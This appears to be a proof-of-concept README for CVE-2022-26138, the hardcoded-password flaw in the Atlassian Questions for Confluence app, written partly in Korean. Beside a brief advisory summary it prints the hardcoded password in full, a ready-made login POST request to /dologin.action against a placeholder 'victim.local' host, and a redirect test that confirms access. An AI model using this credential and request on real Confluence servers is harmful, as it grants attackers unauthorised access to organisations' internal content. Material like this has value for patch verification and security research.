alcaparra/cve-2022-26138Atlassian Questions 하드코딩된 비밀번호 (CVE-2022-26138)
The Atlassian Questions For Confluence app for Confluence Server and Data Center
creates a Confluence user account in the confluence-users group with
the username disabledsystemuser and a hardcoded password. A remote,
unauthenticated attacker with knowledge of the hardcoded password could
exploit this to log into Confluence and access all content accessible
to users in the confluence-users group.
This user account is created when installing versions 2.7.34, 2.7.35, and 3.0.2 of the app.
하드코딩된 자격 증명:
disabledsystemuserdisabled1system1user6708POST /dologin.action HTTP/1.1
Host: victim.local
Content-Type: application/x-www-form-urlencoded
os_username=disabledsystemuser&os_password=disabled1system1user6708&login=Log+in&os_destination=%2Fvulnerable.action
서버가 /vulnerable.action으로 리디렉션하면 자격 증명이 유효한 것입니다.
하드코딩된 자격 증명은 영향을 받는 플러그인의 jar 파일 안에 그대로 들어 있었습니다.
https://packages.atlassian.com/maven-atlassian-external/com/atlassian/confluence/plugins/confluence-questions/3.0.2/confluence-questions-3.0.2.jar